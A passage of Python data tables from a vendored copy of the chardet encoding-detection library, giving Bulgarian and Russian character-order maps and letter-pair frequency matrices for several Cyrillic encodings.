1,1,2,2,2,2,1,2,1,1,0,1,2,1,2,2,2,1,1,1,0,1,1,1,1,2,0,1,0,0,0,0, 2,3,2,3,3,0,0,2,1,0,2,1,0,0,0,0,2,3,0,2,0,0,0,0,0,1,0,0,2,0,1,2, 2,1,2,1,2,2,1,1,1,2,1,1,1,0,1,2,2,1,1,1,1,1,0,1,1,1,0,0,1,2,0,0, 3,3,2,2,3,0,2,3,1,1,2,0,0,0,1,0,0,2,0,2,0,0,0,1,0,1,0,1,2,0,2,2, 1,1,1,1,2,1,0,1,2,2,2,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0, 2,3,2,3,3,0,0,3,0,1,1,0,1,0,0,0,2,2,1,2,0,0,0,0,0,0,0,0,2,0,1,2, 2,2,1,1,1,1,1,2,2,2,1,0,2,0,1,0,1,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0, 3,3,3,3,2,2,2,2,2,0,2,1,1,1,1,2,1,2,1,1,0,2,0,1,0,1,0,0,2,0,1,2, 1,1,1,1,1,1,1,2,2,1,1,0,2,0,1,0,2,0,0,1,1,1,0,0,2,0,0,0,1,1,0,0, 2,3,3,3,3,1,0,0,0,0,0,0,0,0,0,0,2,0,0,1,1,0,0,0,0,0,0,1,2,0,1,2, 2,2,2,1,1,2,1,1,2,2,2,1,2,0,1,1,1,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0, 2,3,3,3,3,0,2,2,0,2,1,0,0,0,1,1,1,2,0,2,0,0,0,3,0,0,0,0,2,0,2,2, 1,1,1,2,1,2,1,1,2,2,2,1,2,0,1,1,1,0,1,1,1,1,0,2,1,0,0,0,1,1,0,0, 2,3,3,3,3,0,2,1,0,0,2,0,0,0,0,0,1,2,0,2,0,0,0,0,0,0,0,0,2,0,1,2, 1,1,1,2,1,1,1,1,2,2,2,0,1,0,1,1,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0, 3,3,2,2,3,0,1,0,1,0,0,0,0,0,0,0,1,1,0,3,0,0,0,0,0,0,0,0,1,0,2,2, 1,1,1,1,1,2,1,1,2,2,1,2,2,1,0,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,0,0, 3,1,0,1,0,2,2,2,2,3,2,1,1,1,2,3,0,0,1,0,2,1,1,0,1,1,1,1,2,1,1,1, 1,2,2,1,2,1,2,2,1,1,0,1,2,1,2,2,1,1,1,0,0,1,1,1,2,1,0,1,0,0,0,0, 2,1,0,1,0,3,1,2,2,2,2,1,2,2,1,1,1,0,2,1,2,2,1,1,2,1,1,0,2,1,1,1, 1,2,2,2,2,2,2,2,1,2,0,1,1,0,2,1,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0,0, 2,1,1,1,1,2,2,2,2,1,2,2,2,1,2,2,1,1,2,1,2,3,2,2,1,1,1,1,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,2,2,3,2,0,1,2,0,1,2,1,1,0,1,0,1,2,1,2,0,0,0,1,1,0,0,0,1,0,0,2, 1,1,0,0,1,1,0,1,1,1,1,0,2,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0, 2,0,0,0,0,1,2,2,2,2,2,2,2,1,2,1,1,1,1,1,1,1,0,1,1,1,1,1,2,1,1,1, 1,2,2,2,2,1,1,2,1,2,1,1,1,0,2,1,2,1,1,1,0,2,1,1,1,1,0,1,0,0,0,0, 3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0, 1,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,2,2,3,2,0,0,0,0,1,0,0,0,0,0,0,1,1,0,2,0,0,0,0,0,0,0,0,1,0,1,2, 1,1,1,1,1,1,0,0,2,2,2,2,2,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1, 2,3,1,2,1,0,1,1,0,2,2,2,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,2, 1,1,1,1,2,1,1,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0, 2,2,2,2,2,0,0,2,0,0,2,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,2,0,2,2, 1,1,1,1,1,0,0,1,2,1,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, 1,2,2,2,2,0,0,2,0,1,1,0,0,0,1,0,0,2,0,2,0,0,0,0,0,0,0,0,0,0,1,1, 0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0, 1,2,2,3,2,0,0,1,0,0,1,0,0,0,0,0,0,1,0,2,0,0,0,1,0,0,0,0,0,0,0,2, 1,1,0,0,1,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, 2,1,2,2,2,1,2,1,2,2,1,1,2,1,1,1,0,1,1,1,1,2,0,1,0,1,1,1,1,0,1,1, 1,1,2,1,1,1,1,1,1,0,0,1,2,1,1,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0, 1,0,0,1,3,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,2,2,2,1,0,0,1,0,2,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,2,0,0,1, 0,2,0,1,0,0,1,1,2,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0, 1,2,2,2,2,0,1,1,0,2,1,0,1,1,1,0,0,1,0,2,0,1,0,0,0,0,0,0,0,0,0,1, 0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, 2,2,2,2,2,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1, 0,1,0,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, 2,0,1,0,0,1,2,1,1,1,1,1,1,2,2,1,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0, 1,1,2,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,2,1,2,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1, 0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,0,1,2,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0, 0,1,1,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0, 1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,2,0,0,2,0,1,0,0,1,0,0,1, 1,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0, 1,1,1,1,1,1,1,2,0,0,0,0,0,0,2,1,0,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, ) Latin5BulgarianModel = { 'char_to_order_map': Latin5_BulgarianCharToOrderMap, 'precedence_matrix': BulgarianLangModel, 'typical_positive_ratio': 0.969392, 'keep_english_letter': False, 'charset_name': "ISO-8859-5", 'language': 'Bulgairan', } Win1251BulgarianModel = { 'char_to_order_map': win1251BulgarianCharToOrderMap, 'precedence_matrix': BulgarianLangModel, 'typical_positive_ratio': 0.969392, 'keep_english_letter': False, 'charset_name': "windows-1251", 'language': 'Bulgarian', } ================================================ FILE: thirdparty/chardet/langcyrillicmodel.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # KOI8-R language model # Character Mapping Table: KOI8R_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, # 80 207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, # 90 223,224,225, 68,226,227,228,229,230,231,232,233,234,235,236,237, # a0 238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253, # b0 27, 3, 21, 28, 13, 2, 39, 19, 26, 4, 23, 11, 8, 12, 5, 1, # c0 15, 16, 9, 7, 6, 14, 24, 10, 17, 18, 20, 25, 30, 29, 22, 54, # d0 59, 37, 44, 58, 41, 48, 53, 46, 55, 42, 60, 36, 49, 38, 31, 34, # e0 35, 43, 45, 32, 40, 52, 56, 33, 61, 62, 51, 57, 47, 63, 50, 70, # f0 ) win1251_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, 207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, 223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238, 239,240,241,242,243,244,245,246, 68,247,248,249,250,251,252,253, 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35, 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43, 3, 21, 10, 19, 13, 2, 24, 20, 4, 23, 11, 8, 12, 5, 1, 15, 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27, 16, ) latin5_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, 207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, 223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238, 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35, 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43, 3, 21, 10, 19, 13, 2, 24, 20, 4, 23, 11, 8, 12, 5, 1, 15, 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27, 16, 239, 68,240,241,242,243,244,245,246,247,248,249,250,251,252,255, ) macCyrillic_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35, 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43, 191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, 207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, 223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238, 239,240,241,242,243,244,245,246,247,248,249,250,251,252, 68, 16, 3, 21, 10, 19, 13, 2, 24, 20, 4, 23, 11, 8, 12, 5, 1, 15, 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27,255, ) IBM855_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 191,192,193,194, 68,195,196,197,198,199,200,201,202,203,204,205, 206,207,208,209,210,211,212,213,214,215,216,217, 27, 59, 54, 70, 3, 37, 21, 44, 28, 58, 13, 41, 2, 48, 39, 53, 19, 46,218,219, 220,221,222,223,224, 26, 55, 4, 42,225,226,227,228, 23, 60,229, 230,231,232,233,234,235, 11, 36,236,237,238,239,240,241,242,243, 8, 49, 12, 38, 5, 31, 1, 34, 15,244,245,246,247, 35, 16,248, 43, 9, 45, 7, 32, 6, 40, 14, 52, 24, 56, 10, 33, 17, 61,249, 250, 18, 62, 20, 51, 25, 57, 30, 47, 29, 63, 22, 50,251,252,255, ) IBM866_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35, 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43, 3, 21, 10, 19, 13, 2, 24, 20, 4, 23, 11, 8, 12, 5, 1, 15, 191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, 207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, 223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238, 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27, 16, 239, 68,240,241,242,243,244,245,246,247,248,249,250,251,252,255, ) # Model Table: # total sequences: 100% # first 512 sequences: 97.6601% # first 1024 sequences: 2.3389% # rest sequences: 0.1237% # negative sequences: 0.0009% RussianLangModel = ( 0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,1,3,3,3,3,1,3,3,3,2,3,2,3,3, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,3,2,2,2,2,2,0,0,2, 3,3,3,2,3,3,3,3,3,3,3,3,3,3,2,3,3,0,0,3,3,3,3,3,3,3,3,3,2,3,2,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,2,2,3,3,3,3,3,3,3,3,3,2,3,3,0,0,3,3,3,3,3,3,3,3,2,3,3,1,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,2,3,2,3,3,3,3,3,3,3,3,3,3,3,3,3,0,0,3,3,3,3,3,3,3,3,3,3,3,2,1, 0,0,0,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,0,0,3,3,3,3,3,3,3,3,3,3,3,2,1, 0,0,0,0,0,1,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,2,2,2,3,1,3,3,1,3,3,3,3,2,2,3,0,2,2,2,3,3,2,1,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,2,3,3,3,3,3,2,2,3,2,3,3,3,2,1,2,2,0,1,2,2,2,2,2,2,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,3,0,2,2,3,3,2,1,2,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,2,3,3,1,2,3,2,2,3,2,3,3,3,3,2,2,3,0,3,2,2,3,1,1,1,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,2,2,3,3,3,3,3,2,3,3,3,3,2,2,2,0,3,3,3,2,2,2,2,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,2,3,2,3,3,3,3,3,3,2,3,2,2,0,1,3,2,1,2,2,1,0, 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,3,2,1,1,3,0,1,1,1,1,2,1,1,0,2,2,2,1,2,0,1,0, 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,2,3,3,2,2,2,2,1,3,2,3,2,3,2,1,2,2,0,1,1,2,1,2,1,2,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,3,3,2,2,3,2,3,3,3,2,2,2,2,0,2,2,2,2,3,1,1,0, 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, 3,2,3,2,2,3,3,3,3,3,3,3,3,3,1,3,2,0,0,3,3,3,3,2,3,3,3,3,2,3,2,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,3,3,3,3,3,2,2,3,3,0,2,1,0,3,2,3,2,3,0,0,1,2,0,0,1,0,1,2,1,1,0, 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,3,0,2,3,3,3,3,2,3,3,3,3,1,2,2,0,0,2,3,2,2,2,3,2,3,2,2,3,0,0, 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,2,3,0,2,3,2,3,0,1,2,3,3,2,0,2,3,0,0,2,3,2,2,0,1,3,1,3,2,2,1,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,1,3,0,2,3,3,3,3,3,3,3,3,2,1,3,2,0,0,2,2,3,3,3,2,3,3,0,2,2,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,2,2,3,3,2,2,2,3,3,0,0,1,1,1,1,1,2,0,0,1,1,1,1,0,1,0, 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,2,2,3,3,3,3,3,3,3,0,3,2,3,3,2,3,2,0,2,1,0,1,1,0,1,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,2,3,3,3,2,2,2,2,3,1,3,2,3,1,1,2,1,0,2,2,2,2,1,3,1,0, 0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, 2,2,3,3,3,3,3,1,2,2,1,3,1,0,3,0,0,3,0,0,0,1,1,0,1,2,1,0,0,0,0,0, 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,2,2,1,1,3,3,3,2,2,1,2,2,3,1,1,2,0,0,2,2,1,3,0,0,2,1,1,2,1,1,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,2,3,3,3,3,1,2,2,2,1,2,1,3,3,1,1,2,1,2,1,2,2,0,2,0,0,1,1,0,1,0, 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,3,3,3,3,3,2,1,3,2,2,3,2,0,3,2,0,3,0,1,0,1,1,0,0,1,1,1,1,0,1,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,2,3,3,3,2,2,2,3,3,1,2,1,2,1,0,1,0,1,1,0,1,0,0,2,1,1,1,0,1,0, 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, 3,1,1,2,1,2,3,3,2,2,1,2,2,3,0,2,1,0,0,2,2,3,2,1,2,2,2,2,2,3,1,0, 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,1,1,0,1,1,2,2,1,1,3,0,0,1,3,1,1,1,0,0,0,1,0,1,1,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,1,3,3,3,2,0,0,0,2,1,0,1,0,2,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,0,1,0,0,2,3,2,2,2,1,2,2,2,1,2,1,0,0,1,1,1,0,2,0,1,1,1,0,0,1,1, 1,0,0,0,0,0,1,2,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0, 2,3,3,3,3,0,0,0,0,1,0,0,0,0,3,0,1,2,1,0,0,0,0,0,0,0,1,1,0,0,1,1, 1,0,1,0,1,2,0,0,1,1,2,1,0,1,1,1,1,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0, 2,2,3,2,2,2,3,1,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,0,1,0,1,1,1,0,2,1, 1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,0, 3,3,3,2,2,2,2,3,2,2,1,1,2,2,2,2,1,1,3,1,2,1,2,0,0,1,1,0,1,0,2,1, 1,1,1,1,1,2,1,0,1,1,1,1,0,1,0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,1,1,0, 2,0,0,1,0,3,2,2,2,2,1,2,1,2,1,2,0,0,0,2,1,2,2,1,1,2,2,0,1,1,0,2, 1,1,1,1,1,0,1,1,1,2,1,1,1,2,1,0,1,2,1,1,1,1,0,1,1,1,0,0,1,0,0,1, 1,3,2,2,2,1,1,1,2,3,0,0,0,0,2,0,2,2,1,0,0,0,0,0,0,1,0,0,0,0,1,1, 1,0,1,1,0,1,0,1,1,0,1,1,0,2,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0, 2,3,2,3,2,1,2,2,2,2,1,0,0,0,2,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,2,1, 1,1,2,1,0,2,0,0,1,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0, 3,0,0,1,0,2,2,2,3,2,2,2,2,2,2,2,0,0,0,2,1,2,1,1,1,2,2,0,0,0,1,2, 1,1,1,1,1,0,1,2,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1, 2,3,2,3,3,2,0,1,1,1,0,0,1,0,2,0,1,1,3,1,0,0,0,0,0,0,0,1,0,0,2,1, 1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0, 2,3,3,3,3,1,2,2,2,2,0,1,1,0,2,1,1,1,2,1,0,1,1,0,0,1,0,1,0,0,2,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,3,3,3,2,0,0,1,1,2,2,1,0,0,2,0,1,1,3,0,0,1,0,0,0,0,0,1,0,1,2,1, 1,1,2,0,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0, 1,3,2,3,2,1,0,0,2,2,2,0,1,0,2,0,1,1,1,0,1,0,0,0,3,0,1,1,0,0,2,1, 1,1,1,0,1,1,0,0,0,0,1,1,0,1,0,0,2,1,1,0,1,0,0,0,1,0,1,0,0,1,1,0, 3,1,2,1,1,2,2,2,2,2,2,1,2,2,1,1,0,0,0,2,2,2,0,0,0,1,2,1,0,1,0,1, 2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,2,1,1,1,0,1,0,1,1,0,1,1,1,0,0,1, 3,0,0,0,0,2,0,1,1,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,1,0,1, 1,1,0,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1, 1,3,3,2,2,0,0,0,2,2,0,0,0,1,2,0,1,1,2,0,0,0,0,0,0,0,0,1,0,0,2,1, 0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0, 2,3,2,3,2,0,0,0,0,1,1,0,0,0,2,0,2,0,2,0,0,0,0,0,1,0,0,1,0,0,1,1, 1,1,2,0,1,2,1,0,1,1,2,1,1,1,1,1,2,1,1,0,1,0,0,1,1,1,1,1,0,1,1,0, 1,3,2,2,2,1,0,0,2,2,1,0,1,2,2,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1, 